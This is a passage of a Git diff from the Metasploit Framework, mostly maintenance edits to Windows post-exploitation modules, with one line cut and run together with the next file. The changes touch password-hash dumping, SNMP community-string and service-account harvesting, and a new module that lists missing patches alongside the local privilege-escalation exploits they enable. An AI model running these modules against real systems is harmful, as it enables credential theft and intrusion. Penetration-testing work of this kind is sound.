https://github.com/rapid7/metasploit-framework ## @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Post if is_86 addr = [data].pack("V") else - addr = [data].pack("Q") + addr = [data].pack("Q<") end return addr end @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Post entropy.each_byte do |c| salt << c end - ent = salt.pack("s*") + ent = salt.pack("v*") #save values to memory and pack addresses mem = mem_write(data, 1024) @@ -118,7 +118,7 @@ class Metasploit3 < Msf::Post guid.each_byte do |c| salt << c*4 end - ent = salt.pack("s*") + ent = salt.pack("v*") #write entropy to memory and pack addresses mem = mem_write(ent,1024) @@ -133,7 +133,7 @@ class Metasploit3 < Msf::Post len,add = ret["pDataOut"].unpack("V2") else ret = c32.CryptUnprotectData("#{len}#{addr}",16,"#{elen}#{eaddr}",nil,nil,0,16) - len,add = ret["pDataOut"].unpack("Q2") + len,add = ret["pDataOut"].unpack("Q<2") end #get data, and return it @@ -356,13 +356,13 @@ class Metasploit3 < Msf::Post #read array of addresses as pointers to each structure raw = read_str(p_to_arr[0], arr_len,2) pcred_array = raw.unpack("V*") if is_86 - pcred_array = raw.unpack("Q*") unless is_86 + pcred_array = raw.unpack("Q<*") unless is_86 #loop through the addresses and read each credential structure pcred_array.each do |pcred| raw = read_str(pcred, 52,2) - cred_struct = raw.unpack("VVVVQVVVVVVV") if is_86 - cred_struct = raw.unpack("VVQQQQQVVQQQ") unless is_86 + cred_struct = raw.unpack("VVVVQ "KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86)", + 'KB2305420' => "KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008", + 'KB2592799' => "KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2", + 'KB2778930' => "KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity", + 'KB2850851' => "KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1", + 'KB2870008' => "KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1" + } + + def initialize(info={}) + super(update_info(info, + 'Name' => "Windows Gather Applied Patches", + 'Description' => %q{ + This module will attempt to enumerate which patches are applied to a windows system + based on the result of the WMI query: SELECT HotFixID FROM Win32_QuickFixEngineering + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => + [ + 'zeroSteiner', # Original idea + 'mubix' # Post module + ], + 'References' => + [ + ['URL', 'http://msdn.microsoft.com/en-us/library/aa394391(v=vs.85).aspx'] + ] + )) + + register_options( + [ + OptBool.new('MSFLOCALS', [ true, 'Search for missing patchs for which there is a MSF local module', true]), + OptString.new('KB', [ true, 'A comma separated list of KB patches to search for', 'KB2871997, KB2928120']) + ], self.class) + end + + # The sauce starts here + def run + patches = [] + + datastore['KB'].split(',').each do |kb| + patches << kb.strip + end + + if datastore['MSFLOCALS'] + patches = patches + MSF_MODULES.keys + end + + extapi_loaded = load_extapi + if extapi_loaded + begin + objects = session.extapi.wmi.query("SELECT HotFixID FROM Win32_QuickFixEngineering") + rescue RuntimeError + print_error "Known bug in WMI query, try migrating to another process" + return + end + kb_ids = objects[:values].map { |kb| kb[0] } + report_info(patches, kb_ids) + else + print_error "ExtAPI failed to load" + end + end + + def report_info(patches, kb_ids) + patches.each do |kb| + if kb_ids.include?(kb) + print_status("#{kb} applied") + else + if MSF_MODULES.include?(kb) + print_good(MSF_MODULES[kb]) + else + print_good("#{kb} is missing") + end + end + end + end +end diff --git a/modules/post/windows/gather/enum_powershell_env.rb b/modules/post/windows/gather/enum_powershell_env.rb index 32a69e0faa..41ca9b2119 100644 --- a/modules/post/windows/gather/enum_powershell_env.rb +++ b/modules/post/windows/gather/enum_powershell_env.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index c513be790e..f6edb22bf1 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_proxy.rb b/modules/post/windows/gather/enum_proxy.rb index 1412346322..bb98d36e77 100644 --- a/modules/post/windows/gather/enum_proxy.rb +++ b/modules/post/windows/gather/enum_proxy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_services.rb b/modules/post/windows/gather/enum_services.rb index 8f75d3686f..95433a71d7 100644 --- a/modules/post/windows/gather/enum_services.rb +++ b/modules/post/windows/gather/enum_services.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,8 +16,8 @@ class Metasploit3 < Msf::Post 'Name' => "Windows Gather Service Info Enumeration", 'Description' => %q{ This module will query the system for services and display name and configuration - info for each returned service. It allows you to optionally search the credentials, path, or start - type for a string and only return the results that match. These query operations + info for each returned service. It allows you to optionally search the credentials, path, + or start type for a string and only return the results that match. These query operations are cumulative and if no query strings are specified, it just returns all services. NOTE: If the script hangs, windows firewall is most likely on and you did not migrate to a safe process (explorer.exe for example). @@ -36,9 +36,12 @@ class Metasploit3 < Msf::Post end + def run # set vars + lootString = "" + credentialCount = {} qcred = datastore["CRED"] || nil qpath = datastore["PATH"] || nil if datastore["TYPE"] == "All" @@ -47,24 +50,29 @@ class Metasploit3 < Msf::Post qtype = datastore["TYPE"] end if qcred - print_status("Credential Filter: " + qcred) + print_status("Credential Filter: #{qcred}") end if qpath - print_status("Executable Path Filter: " + qpath) + print_status("Executable Path Filter: #{qpath}") end if qtype - print_status("Start Type Filter: " + qtype) + print_status("Start Type Filter: #{qtype}") + end + + if datastore['VERBOSE'] + print_status("Listing Service Info for matching services:") + else + print_status("Detailed output is only printed when VERBOSE is set to True. Running this module can take some time.\n") end - print_status("Listing Service Info for matching services:") service_list.each do |sname| srv_conf = {} isgood = true - #make sure we got a service name + # make sure we got a service name if sname begin srv_conf = service_info(sname) - #filter service based on filters passed, the are cumulative + # filter service based on filters passed, the are cumulative if qcred and ! srv_conf['Credentials'].downcase.include? qcred.downcase isgood = false end @@ -75,22 +83,45 @@ class Metasploit3 < Msf::Post if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase isgood = false end - - #if we are still good return the info - if isgood - vprint_status("\tName: #{sname}") - vprint_good("\t\tStartup: #{srv_conf['Startup']}") - vprint_good("\t\tCommand: #{srv_conf['Command']}") - vprint_good("\t\tCredentials: #{srv_conf['Credentials']}") + # count the occurance of specific credentials services are running as + serviceCred = srv_conf['Credentials'].upcase + unless serviceCred.empty? + if credentialCount.has_key?(serviceCred) + credentialCount[serviceCred] += 1 + else + credentialCount[serviceCred] = 1 + # let the user know a new service account has been detected for possible lateral + # movement opportunities + print_good("New service credential detected: #{sname} is running as '#{srv_conf['Credentials']}'") + end end - rescue + + # if we are still good return the info + if isgood + msgString = "\tName: #{sname}" + msgString << "\n\t\tStartup: #{srv_conf['Startup']}" + #remove invalid char at the end + commandString = srv_conf['Command'] + commandString.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"") + msgString << "\n\t\t#{commandString}" + msgString << "\n\t\tCredentials: #{srv_conf['Credentials']}\n" + vprint_good(msgString) + lootString << msgString + end + rescue ::Exception => e + # July 3rd 2014 wchen-r7: Not very sure what exceptions this method is trying to rescue, + # probably the typical shut-everything-up coding habit. We'll have to fix this later, + # but for now let's at least print the error for debugging purposes print_error("An error occured enumerating service: #{sname}") + print_error(e.to_s) end else - print_error("Problem enumerating services") + print_error("Problem enumerating services (no service name found)") end - end + # store loot on completion of collection + p = store_loot("windows.services", "text/plain", session, lootString, "windows_services.txt", "Windows Services") + print_good("Loot file stored in: #{p.to_s}") end end diff --git a/modules/post/windows/gather/enum_shares.rb b/modules/post/windows/gather/enum_shares.rb index 05260dedd7..b0dfe05714 100644 --- a/modules/post/windows/gather/enum_shares.rb +++ b/modules/post/windows/gather/enum_shares.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_snmp.rb b/modules/post/windows/gather/enum_snmp.rb index ab74be16e4..9316605288 100644 --- a/modules/post/windows/gather/enum_snmp.rb +++ b/modules/post/windows/gather/enum_snmp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Post def community_strings comm_str = [] tbl = Rex::Ui::Text::Table.new( - 'Header' => "Comunity Strings", + 'Header' => "Community Strings", 'Indent' => 1, 'Columns' => [ @@ -63,33 +63,30 @@ class Metasploit3 < Msf::Post if not comm_str.nil? and not comm_str.empty? comm_str.each do |c| + # comm_type is for human display, access_type is passed to the credential + # code using labels consistent with the SNMP login scanner case registry_getvaldata(key,c) when 4 - comm_type = "READ ONLY" + comm_type = 'READ ONLY' + access_type = 'read-only' when 1 - comm_type = "DISABLED" + comm_type = 'DISABLED' + access_type = 'disabled' when 2 - comm_type = "NOTIFY" + comm_type = 'NOTIFY' + access_type = 'notify' when 8 - comm_type = "READ & WRITE" + comm_type = 'READ & WRITE' + access_type = 'read-write' when 16 - comm_type = "READ CREATE" + comm_type = 'READ CREATE' + access_type = 'read-create' end # Save data to table tbl << [c,comm_type] - # Save Community Strings to DB - report_auth_info( - :host => session.sock.peerhost, - :port => 161, - :proto => 'udp', - :sname => 'snmp', - :user => '', - :pass => c, - :type => "snmp.community", - :duplicate_ok => true - ) + register_creds(session.session_host, 161, '', c, 'snmp', access_type) end print_status("") @@ -116,21 +113,13 @@ class Metasploit3 < Msf::Post if not trap_hosts.nil? and not trap_hosts.empty? trap_hosts.each do |c| print_status("Community Name: #{c}") - session.framework.db.report_auth_info( - :host => session.sock.peerhost, - :port => 161, - :proto => 'udp', - :sname => 'snmp', - :user => '', - :pass => c, - :type => "snmp.community", - :duplicate_ok => true - ) + t_comm_key = key+"\\"+c registry_enumvals(t_comm_key).each do |t| - print_status("\tDestination: " + registry_getvaldata(t_comm_key,t)) + trap_dest = registry_getvaldata(t_comm_key,t) + print_status("\tDestination: #{trap_dest}") + register_creds(trap_dest, 162, '', c, 'snmptrap', 'trap') end - end else print_status("No Traps are configured") @@ -152,4 +141,40 @@ class Metasploit3 < Msf::Post print_status("\tCommunity Strings can be accessed from any host") end end + + def register_creds(client_ip, client_port, user, pass, service_name, access_type) + # Build service information + service_data = { + address: client_ip, + port: client_port, + service_name: service_name, + protocol: 'udp', + workspace_id: myworkspace_id + } + + # Build credential information + credential_data = { + access_level: access_type, + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_data: pass, + private_type: :password, + username: user, + workspace_id: myworkspace_id + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + end end diff --git a/modules/post/windows/gather/enum_termserv.rb b/modules/post/windows/gather/enum_termserv.rb index 336dd9d1b2..2ad65c80e2 100644 --- a/modules/post/windows/gather/enum_termserv.rb +++ b/modules/post/windows/gather/enum_termserv.rb @@ -1,7 +1,7 @@ # post/windows/gather/enum_termserv.rb ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_tokens.rb b/modules/post/windows/gather/enum_tokens.rb index 91506a5963..4a7838d3cd 100644 --- a/modules/post/windows/gather/enum_tokens.rb +++ b/modules/post/windows/gather/enum_tokens.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_tomcat.rb b/modules/post/windows/gather/enum_tomcat.rb index 7d568a0aa2..2f98e036c6 100644 --- a/modules/post/windows/gather/enum_tomcat.rb +++ b/modules/post/windows/gather/enum_tomcat.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/enum_unattend.rb b/modules/post/windows/gather/enum_unattend.rb index 647fa934dc..09dea61737 100644 --- a/modules/post/windows/gather/enum_unattend.rb +++ b/modules/post/windows/gather/enum_unattend.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/forensics/browser_history.rb b/modules/post/windows/gather/forensics/browser_history.rb index 90bbcb1e36..161789429b 100644 --- a/modules/post/windows/gather/forensics/browser_history.rb +++ b/modules/post/windows/gather/forensics/browser_history.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/forensics/duqu_check.rb b/modules/post/windows/gather/forensics/duqu_check.rb index a761c8a6dc..c967b5f6ab 100644 --- a/modules/post/windows/gather/forensics/duqu_check.rb +++ b/modules/post/windows/gather/forensics/duqu_check.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/forensics/enum_drives.rb b/modules/post/windows/gather/forensics/enum_drives.rb index df61a3f36e..34b24c51cb 100644 --- a/modules/post/windows/gather/forensics/enum_drives.rb +++ b/modules/post/windows/gather/forensics/enum_drives.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/forensics/imager.rb b/modules/post/windows/gather/forensics/imager.rb index 70de322162..209a90c492 100644 --- a/modules/post/windows/gather/forensics/imager.rb +++ b/modules/post/windows/gather/forensics/imager.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/forensics/nbd_server.rb b/modules/post/windows/gather/forensics/nbd_server.rb index 84d641e789..5da92628d6 100644 --- a/modules/post/windows/gather/forensics/nbd_server.rb +++ b/modules/post/windows/gather/forensics/nbd_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/forensics/recovery_files.rb b/modules/post/windows/gather/forensics/recovery_files.rb index 46516df798..37a88f6d92 100644 --- a/modules/post/windows/gather/forensics/recovery_files.rb +++ b/modules/post/windows/gather/forensics/recovery_files.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -195,9 +195,9 @@ class Metasploit3 < Msf::Post offset << "\x00" if (offset.size % 2 != 0) # The logical cluster value could be negative so we need to get the 2 complement in those cases if log_cluster.size == 2 - int_log_cluster = log_cluster.unpack('s*')[0] + int_log_cluster = log_cluster.unpack('v*')[0] elsif log_cluster.size == 4 - int_log_cluster = log_cluster.unpack('l')[0] + int_log_cluster = log_cluster.unpack('V')[0] end if offset.size == 2 @@ -275,7 +275,7 @@ class Metasploit3 < Msf::Post def get_size(entry) data = get_attribute(entry,"\x80\x00\x00\x00") return if data == nil - return data[48,8].unpack('Q*')[0] + return data[48,8].unpack('Q<*')[0] end # Gets the NTFS information and return a pointer to the beginning of the MFT @@ -295,7 +295,7 @@ class Metasploit3 < Msf::Post vprint_status("NTFS Volumen Serial Number: #{ra['lpOutBuffer'][0,8].unpack('h*')[0].reverse}") vprint_status("Bytes per Sector: #{ra['lpOutBuffer'][40,4].unpack('V*')[0]}") vprint_status("Bytes per Cluster: #{bytes_per_cluster}") - vprint_status("Length of the MFT (bytes): #{ra['lpOutBuffer'][56,8].unpack('Q*')[0]}") + vprint_status("Length of the MFT (bytes): #{ra['lpOutBuffer'][56,8].unpack('Q<*')[0]}") vprint_status("Logical cluster where MTF starts #{mft_logical_offset}") # We set the pointer to the begining of the MFT client.railgun.kernel32.SetFilePointer(r['return'],offset_mft_bytes,0,0) diff --git a/modules/post/windows/gather/hashdump.rb b/modules/post/windows/gather/hashdump.rb index 61609abceb..0f4b866d16 100644 --- a/modules/post/windows/gather/hashdump.rb +++ b/modules/post/windows/gather/hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -66,16 +66,47 @@ class Metasploit3 < Msf::Post print_status("Dumping password hashes...") print_line() print_line() + + # Assemble the information about the SMB service for this host + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: 445, + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + # Assemble data about the credential objects we will be creating + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :ntlm_hash + } + + # Merge the service data into the credential data + credential_data.merge!(service_data) + users.keys.sort{|a,b| a<=>b}.each do |rid| hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::" - report_auth_info( - :host => session.sock.peerhost, - :port => 445, - :sname => 'smb', - :user => users[rid][:Name].downcase, - :pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], - :type => "smb_hash" - ) + + # Add the details for this specific credential + credential_data[:private_data] = users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0] + credential_data[:username] = users[rid][:Name].downcase + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + print_line hashstring end diff --git a/modules/post/windows/gather/local_admin_search_enum.rb b/modules/post/windows/gather/local_admin_search_enum.rb index dd1309f664..96fbc11ccf 100644 --- a/modules/post/windows/gather/local_admin_search_enum.rb +++ b/modules/post/windows/gather/local_admin_search_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Post 'Thomas McCarthy "smilingraccoon" ', 'Royce Davis "r3dy" ' ], - 'Platform' => [ 'windows'], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/gather/lsa_secrets.rb b/modules/post/windows/gather/lsa_secrets.rb index af1252d1e3..756e7c0f95 100644 --- a/modules/post/windows/gather/lsa_secrets.rb +++ b/modules/post/windows/gather/lsa_secrets.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], - 'Author' => ['Rob Bathurst '] + 'Author' => ['Rob Bathurst '] )) end diff --git a/modules/post/windows/gather/memory_grep.rb b/modules/post/windows/gather/memory_grep.rb index fad3d2a566..936aae5cf2 100644 --- a/modules/post/windows/gather/memory_grep.rb +++ b/modules/post/windows/gather/memory_grep.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/netlm_downgrade.rb b/modules/post/windows/gather/netlm_downgrade.rb index c1240cc7fe..b1dca4c2a8 100644 --- a/modules/post/windows/gather/netlm_downgrade.rb +++ b/modules/post/windows/gather/netlm_downgrade.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -23,8 +23,8 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ - 'Brandon McCann "zeknox" ', - 'Thomas McCarthy "smilingraccoon" ' + 'Brandon McCann "zeknox" ', + 'Thomas McCarthy "smilingraccoon" ' ], 'SessionTypes' => [ 'meterpreter' ], 'References' => diff --git a/modules/post/windows/gather/resolve_sid.rb b/modules/post/windows/gather/resolve_sid.rb index a56439fa6f..d0ead5f552 100644 --- a/modules/post/windows/gather/resolve_sid.rb +++ b/modules/post/windows/gather/resolve_sid.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/reverse_lookup.rb b/modules/post/windows/gather/reverse_lookup.rb index 84b636fa0b..99cee3b42e 100644 --- a/modules/post/windows/gather/reverse_lookup.rb +++ b/modules/post/windows/gather/reverse_lookup.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb index 8381588125..f351301a9e 100644 --- a/modules/post/windows/gather/screen_spy.rb +++ b/modules/post/windows/gather/screen_spy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/smart_hashdump.rb b/modules/post/windows/gather/smart_hashdump.rb index a3d2797741..cf62afdc32 100644 --- a/modules/post/windows/gather/smart_hashdump.rb +++ b/modules/post/windows/gather/smart_hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -247,14 +247,38 @@ class Metasploit3 < Msf::Post collected_hashes << "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::\n" print_good("\t#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::") - session.framework.db.report_auth_info( - :host => host, - :port => @smb_port, - :sname => 'smb', - :user => users[rid][:Name], - :pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], - :type => "smb_hash" - ) + + service_data = { + address: host, + port: @smb_port, + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :ntlm_hash, + private_data: users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], + username: users[rid][:Name] + } + + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) end rescue ::Interrupt @@ -305,14 +329,38 @@ class Metasploit3 < Msf::Post hash_entry = "#{user}:#{rid}:#{lmhash}:#{returned_hash[3]}" collected_hashes << "#{hash_entry}\n" print_good("\t#{hash_entry}") - session.framework.db.report_auth_info( - :host => host, - :port => @smb_port, - :sname => 'smb', - :user => user, - :pass => "#{lmhash}:#{returned_hash[3]}", - :type => "smb_hash" - ) + + service_data = { + address: host, + port: @smb_port, + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :ntlm_hash, + private_data: "#{lmhash}:#{returned_hash[3]}", + username: user + } + + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) rescue next end diff --git a/modules/post/windows/gather/tcpnetstat.rb b/modules/post/windows/gather/tcpnetstat.rb index d260ee0a52..76566231ff 100644 --- a/modules/post/windows/gather/tcpnetstat.rb +++ b/modules/post/windows/gather/tcpnetstat.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/usb_history.rb b/modules/post/windows/gather/usb_history.rb index 334bd81243..17af8ff7fc 100644 --- a/modules/post/windows/gather/usb_history.rb +++ b/modules/post/windows/gather/usb_history.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/win_privs.rb b/modules/post/windows/gather/win_privs.rb index 1663b8d512..acb6e8dfa7 100644 --- a/modules/post/windows/gather/win_privs.rb +++ b/modules/post/windows/gather/win_privs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/wmic_command.rb b/modules/post/windows/gather/wmic_command.rb index b94411a15d..65af916b48 100644 --- a/modules/post/windows/gather/wmic_command.rb +++ b/modules/post/windows/gather/wmic_command.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/word_unc_injector.rb b/modules/post/windows/gather/word_unc_injector.rb index 45e976e925..2c727a4677 100644 --- a/modules/post/windows/gather/word_unc_injector.rb +++ b/modules/post/windows/gather/word_unc_injector.rb @@ -1,11 +1,22 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## +# +# Gems +# + +# for extracting files +require 'zip' + +# +# Project +# + require 'msf/core' -require 'zip/zip' #for extracting files -require 'rex/zip' #for creating files +# for creating files +require 'rex/zip' class Metasploit3 < Msf::Post @@ -109,17 +120,17 @@ class Metasploit3 < Msf::Post end #RubyZip sometimes corrupts the document when manipulating inside a - #compressed document, so we extract it with Zip::ZipFile into memory + #compressed document, so we extract it with Zip::File into memory def unzip_docx(zipfile) vprint_status("Extracting #{datastore['FILE']} into memory.") zip_data = Hash.new begin - Zip::ZipFile.open(zipfile) do |filezip| + Zip::File.open(zipfile) do |filezip| filezip.each do |entry| zip_data[entry.name] = filezip.read(entry) end end - rescue Zip::ZipError => e + rescue Zip::Error => e print_error("Error extracting #{datastore['FILE']} please verify it is a valid .docx document.") return nil end diff --git a/modules/post/windows/manage/add_user_domain.rb b/modules/post/windows/manage/add_user_domain.rb index 0129db3ff3..7eae317a56 100644 --- a/modules/post/windows/manage/add_user_domain.rb +++ b/modules/post/windows/manage/add_user_domain.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/autoroute.rb b/modules/post/windows/manage/autoroute.rb index 86b38a9522..a894ae01d3 100644 --- a/modules/post/windows/manage/autoroute.rb +++ b/modules/post/windows/manage/autoroute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/change_password.rb b/modules/post/windows/manage/change_password.rb index 80d085053e..889f5af7b9 100644 --- a/modules/post/windows/manage/change_password.rb +++ b/modules/post/windows/manage/change_password.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/clone_proxy_settings.rb b/modules/post/windows/manage/clone_proxy_settings.rb index a45cffe69f..c270e7bd94 100644 --- a/modules/post/windows/manage/clone_proxy_settings.rb +++ b/modules/post/windows/manage/clone_proxy_settings.rb 